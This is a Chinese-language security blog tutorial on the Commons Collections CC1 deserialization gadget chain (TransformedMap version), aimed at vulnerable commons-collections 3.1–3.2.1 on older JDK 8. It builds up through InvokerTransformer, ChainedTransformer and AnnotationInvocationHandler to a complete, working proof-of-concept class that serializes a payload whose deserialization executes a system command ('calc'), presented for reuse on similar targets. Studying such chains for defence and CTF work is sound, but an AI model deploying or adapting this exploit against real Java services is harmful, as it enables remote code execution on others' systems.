Java安全 反序列化(3) CC1链-TransformedMap版
本文尝试从CC1的挖掘思路出发，理解CC1的实现原理
文章目录
- Java安全 反序列化(3) CC1链-TransformedMap版
- 配置jdk版本和源代码配置
- 前记 为什么可以利用
- 一.CC链中的命令执行
- 我们可以尝试一下通过InvokerTransformer.transform()执行命令
- 在CC链接口Transformer实现类中，我们重点关注几个实现类
- 1.ConstantTransformer实现类
- 2.InvokeTransformer实现类
- 3.ChainedTransformer实现类(链式，有想法吗)
- 现在我们可以通过链式+反射调用任意命令
- 二. CC1挖掘原理分析&Poc编写
- 三.CC1完整利用链Poc
- 反思总结
Commons：Apache Commons是Apache软件基金会的项目，Commons的目的是提供可重用的解决各种实际问题的Java开源代码。
Commons Collections：Java中有一个Collections包，内部封装了许多方法用来对集合进行处理，CommonsCollections则是对Collections进行了补充，完善了更多对集合处理的方法，大大提高了性能。
实验环境:存在漏洞的版本 commons-collections3.1-3.2.1 jdk 8u71之后已修复不可利⽤
默认情况看不到AnnotationInvocationHandler类的源码，是因为jdk中没有sun包下的源码，需要手动下载该版本的openjdk源码
jdk版本及sun源码下载链接：https://pan.baidu.com/s/1JWjHsQpyhFt_KpPnt4aiwg?pwd=8888
提取码：8888
配置jdk版本和源代码配置
1.解压 jdk1.8.0_65.zip
2.解压jdk8-sun-source.zip 中class.rar中的sun源码
3.替换 jdk1.8.0_65/src/中的sun文件夹
4.idea中添加源代码
可以看到rt.jar包中任意源代码（而不是.class反编译文件），就是成功了
访问 https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1
⾸先在设置在pom.xml环境
<dependencies><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency></dependencies>
安装commons-collections成功后，环境配置结束
现在正式学习Java反序列化 CC链
前记 为什么可以利用
Apache Commons Collections中有⼀个特殊的接口，其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数，叫做InvokerTransformer，它可通过反射调用类中的方法，从而通过一连串的调用而造成命令执行，这条链便叫做Commons Collections链（简称cc链）。
一.CC链中的命令执行
我们的最终的目的是利用CC链来进行RCE
一般执行命令 Runtime.getRuntime().exec("calc");
如此简单简洁，但是为什么我们不直接利用了？
因为我们最终要通过反序类化执行任意命令 但是Runtime没有实现Serializable接口，不可以被序列化
这个过程中不可序列化
所以我们可以通过反射调用来进行反序列化
Class实现了Serialiable接口 可以实现序列化
Class Runtime = Class.forName("java.lang.Runtime");Method getRuntime = Runtime.getMethod("getRuntime");Runtime runtime =(Runtime) getRuntime.invoke(null, null);Method exec = Runtime.getMethod("exec", String.class);exec.invoke(runtime, "calc");
可以通过反射执行任意命令
在上一篇文章中我们探究了 InvokerTransformer().transform()方法可以通过类似反射调用(invoke)任意函数
我们可以尝试一下通过InvokerTransformer.transform()执行命令
InvokeTransformer构造函数接受三个参数
- 1.String 函数名
exec - Class[] 参数类型
String.class - Object[] 具体参数值
calc
接受对象，对对象执行函数
Runtime r=Runtime.getRuntime();new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
仍然可以执行系统命令
在CC链接口Transformer实现类中，我们重点关注几个实现类
1.ConstantTransformer实现类
注意，和transform传入的Object input的对象无关，仅仅返回构造函数Object constantToReturn 的对象（这一点很重要，后面会应用）
2.InvokeTransformer实现类
前面探究过，通过反射调用任意的函数
相当于最后加了一个invoke方法调用
3.ChainedTransformer实现类(链式，有想法吗)
上篇文章具体调试过跟踪过ChainedTransformer的实现
构造函数接受Transformer[] 数组进行赋值
我们可以简单理解为一个**迭代器 **的 链式的调用
后一个对象.transform(前一个对象的.transform方法返回的对象)
通过这个ChainTransformer实现类可以实现（一节更比三节强的观念）
通过ChainTransformer.transform可以把传入Transformer[]一一调用transform方法，而且实现了 对象的传递
现在我们可以通过链式+反射调用任意命令
Transformer[] transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);chainedTransformer.transform("aaa");
注意一点chainedTransformer.transform("aaa");aaa可以替换为任意值
先调用 ConstantTransformer.transform方法覆盖了传入的"aaa"返回Runtime.class对象（和transform传入的Object input的对象无关，仅仅返回构造函数Object constantToReturn 的对象，回顾一下前面）
二. CC1挖掘原理分析&Poc编写
现在我们开始分析一下CC1是如何被发现和利用的，重点在于学习前人发现的思路
时刻记住我们的目的
这里我们先利用 单个InvokerTransformer
Runtime r=Runtime.getRuntime();InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
走一遍流程
我们要利用transform执行任意命令
可以查看什么地方应用了transform （这里偏向测试map）
因为Map作为键值对的映射关系可以包含任意类
可以利用的有DefaultedMap,LazyMap,TransformedMap
这里我们探究一下TransformedMap，其他下篇文章写
在TransformedMap中的protected方法（代表仅能被自身调用）checkSetValue传入
我们希望valueTransformer是Invocationformer对象 ,传入的Object value是Runtime对象
构造函数进行传值，但是是protected仅能被自身调用，向上寻找
发现decorate的public 静态方法 可以返回 调用 构造方法
参数接受(Map map, Transformer keyTransformer, Transformer valueTransformer)
这里和keyTransformer 关系不大，可以设为空
Runtime r=Runtime.getRuntime();InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap<Object,Object> hashmap=new HashMap<>();hashmap.put("key","value");TransformedMap.decorate(hashmap,null,invokerTransformer);
等价于InvokerTransformer.transform()
现在控制checkSetValue(Object value)传入的值和调用checkSetValue(Object value)
查找用法
可以发现在AbstractInput中的镶嵌类MapEntry调用了checkSetValue方法
而AbstractInput恰好又是TransformedMap的父类
这里MapEntry类继承自AbstractMapEntryDecorator而AbstractMapEntryDecorator实现了Map.Entry的接口
我们可以通过遍历TransformedMap的Entry实现调用setValue方法
原因：因为如果我们遍历TransformedMap的Entry调用setValue，子类继承了父类的public方法(setValue)，而且实现了对Map.Entry方法的重写，可以实现调用setValue方法
调用的便是它的父类AbstractInputCheckedMapDecorator类重写的setValue方法，便会触发 checkSetValue方法，从而触发cc链1
因此编写payload
Runtime r=Runtime.getRuntime();InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap<Object,Object> hashmap=new HashMap<>();hashmap.put("key","value");Map<Object,Object> transformedMap =TransformedMap.decorate(hashmap,null,invokerTransformer);for(Map.Entry entry:transformedMap.entrySet()){entry.setValue(r);}
传入的值是Runtime对象 等价实现InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transformer(Runtime.class)
但是我们如何实现在readObject的时候调用setValue方法
经过寻找我们发现 AnnotationInvocationHandler
1.重写了readobject
2.调用了memberValue.setValue()
而恰好我们可以控制memberValues的值
这不是妥妥的入口类吗
这里接受两个参数Class<? extends Annotation> type, Map<String, Object> memberValues
Annotation是Java的注解，比如@Override重写等
但是我们只能 用反射操作入口类
因为这里没有修饰词，默认是default 只能通过在包内访问
分析一下readobject类
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");}Map<String, Class<?>> memberTypes = annotationType.memberTypes();// If there are annotation members without values, that// situation is handled by the invoke method.for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) { // i.e. member still existsObject value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}
}
想要走到memberValue.setValue需要走过两个判断
在 遍历memberValues.entrySet()的过程中
String name = memberValue.getKey();//获取Map键值Class<?> memberType = memberTypes.get(name);//获取Java注解的类型if (memberType != null) { Object value = memberValue.getValue();
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
获取了memeberValue键的值作为name,在注解中寻找等于注解的name的值
判断不为空即可
我们需要获取注解中存在键值对的注解，这里我们可以用 @Target
@Target 存在value的键 为了memberType 保证不为空，所以将hashmap.put("value","value");设为value
保证Class<?> memberType = memberTypes.get(name);//获取Java注解的类型可以保证memberTypes.get(name)可以获取到值
第二个if判断一定是可以通过的 member一定是存在的
这里setValue的值不可控，但是对我们利用完全不影响
虽然这里的setValue方法带一个初始值，但我们ConstantTransformer类的transform方法，不受参数影响，构造方法传入什么，就原封不动返回什么
第三次重复了
和传入setValue的值没有关系
我们将InvokerTransformer替换为ChainTransformer
尝试通过反射建构AnnotationInvocationHandler 类
接受Class<? extends Annotation> type, Map<String, Object> memberValues
通过反射创建AnnotationInvocationHandler实例
Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationDeclaredConstructor = annotation.getDeclaredConstructor(Class.class,Map.class);annotationDeclaredConstructor.setAccessible(true);Object annotationInstantce = annotationDeclaredConstructor.newInstance(Target.class,transformedMap);
对annotationInstantce进行序列化后反序列化后执行命令
成功手写CC1链的Poc
三.CC1完整利用链Poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.instrument.TransformerManager;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class CC1 {public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {//Runtime.getRuntime().exec("calc");
// Class Runtime = Class.forName("java.lang.Runtime");
// Method getRuntime = Runtime.getMethod("getRuntime");
// Runtime runtime =(Runtime) getRuntime.invoke(null, null);
// Method exec = Runtime.getMethod("exec", String.class);
// exec.invoke(runtime, "calc");
// Runtime r=Runtime.getRuntime();
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);Transformer[] transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
// ChainedTransformer chainedTransformer =(ChainedTransformer) chainedTransformer.transform("aaa");
// Runtime r=Runtime.getRuntime();
// InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap<Object,Object> hashmap=new HashMap<>();hashmap.put("value","value");Map<Object,Object> transformedMap =TransformedMap.decorate(hashmap,null,chainedTransformer);
// for(Map.Entry entry:transformedMap.entrySet()){
// entry.setValue(r);Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationDeclaredConstructor = annotation.getDeclaredConstructor(Class.class,Map.class);annotationDeclaredConstructor.setAccessible(true);Object annotationInstantce = annotationDeclaredConstructor.newInstance(Target.class,transformedMap);serialize(annotationInstantce);unserialize();}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(newFileOutputStream("ser.bin"));oos.writeObject(obj);oos.close();}public static void unserialize() throws IOException, ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(newFileInputStream("ser.bin"));ois.readObject();ois.close();}}以后遇到其他类似题，就可以参考Poc了
反思总结
核心概念
- 入口类必须重写readObject
- 通过不同类的同名方法进行跳转连接
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